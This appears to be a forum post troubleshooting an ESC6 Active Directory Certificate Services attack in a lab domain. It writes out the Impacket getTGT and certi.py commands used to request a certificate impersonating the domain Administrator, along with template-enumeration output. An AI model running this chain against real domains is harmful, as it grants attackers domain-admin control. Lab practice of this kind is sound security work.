"Impersonation of [email protected] not allowed with this certificate"

[jsdhasfeds]

Hi. I am trying to exploit scenario ESC6 using Kali only.

To be clear, the CA "adlab-SERVER2-CA" has the flag "EDITF_ATTRIBUTESUBJECTALTNAME2" enabled and the service "certsvc" has been restarted.

This is what I do:

1. Request a TGT using known plaintext credentials of the low priv. account "domainuser1" which is a member of the group "domain users": python3 /usr/share/doc/python3-impacket/examples/getTGT.py 'adlab.local/domainuser1:Passw0rd!'
2. Update the Kerberos variable with the TGT from the previous step: export KRB5CCNAME=/root/pentest/domainuser1.ccache
3. Request a certificate impersonating the "Administrator" account: python3 certi.py req adlab.local/[email protected] adlab-SERVER2-CA -k --no-pass --alt-name administrator --template User -o /root/pentest/administrator.pfx

Note that step 3 works but also outputs "Impersonation of [email protected] not allowed with this certificate". This I do not understand since the only mentioned requirement for the scenario ESC6 is that the CA has the flag "EDITF_ATTRIBUTESUBJECTALTNAME2" enabled. If I use a custom template instead of the default template "User", which is supposed to work, and grant "domainuser1" enrollment access on that template, I no longer get the message "Impersonation of [email protected] not allowed with this certificate".

Executing the command "python3 certi.py list adlab.local/[email protected] -k --no-pass --vuln --dc-ip 10.0.0.200 --enable" which lists vulnerable templates, the default template "User" is listed...

Name: User Schema Version: 1 Enroll Services: adlab-SERVER2-CA Vulnerabilities: ESC3.2 - Use Agent Certificate msPKI-Certificate-Name-Flag: (0x-5a000000) SUBJECT_ALT_REQUIRE_UPN, SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL, SUBJECT_REQUIRE_DIRECTORY_PATH msPKI-Enrollment-Flag: (0x29) INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT msPKI-RA-Signature: 0 pKIExtendedKeyUsage: Encrypting File System, Secure Email, Client Authentication SD Owner: S-1-5-21-1102219418-2391489858-980994391-519 adlab\Enterprise Admins Permissions Enrollment Permissions Enrollment Rights S-1-5-21-1102219418-2391489858-980994391-519 adlab\Enterprise Admins S-1-5-21-1102219418-2391489858-980994391-513 adlab\Domain Users S-1-5-21-1102219418-2391489858-980994391-512 adlab\Domain Admins Write Permissions Write Owner S-1-5-21-1102219418-2391489858-980994391-519 adlab\Enterprise Admins S-1-5-21-1102219418-2391489858-980994391-512 adlab\Domain Admins Write DACL S-1-5-21-1102219418-2391489858-980994391-519 adlab\Enterprise Admins S-1-5-21-1102219418-2391489858-980994391-512 adlab\Domain Admins Write Property S-1-5-21-1102219418-2391489858-980994391-519 adlab\Enterprise Admins S-1-5-21-1102219418-2391489858-980994391-513 adlab\Domain Users S-1-5-21-1102219418-2391489858-980994391-512 adlab\Domain Admins

What are the requirements on the ADCS server/the CA/the certificate template/the ACEs for requesting a certificate impersonating a different account? Do Certy only support ESC1, not ESC6?

I should also mention that using Certify from a domain-joined machine in the same environment works just fine. In other words, Certify does support ESC6.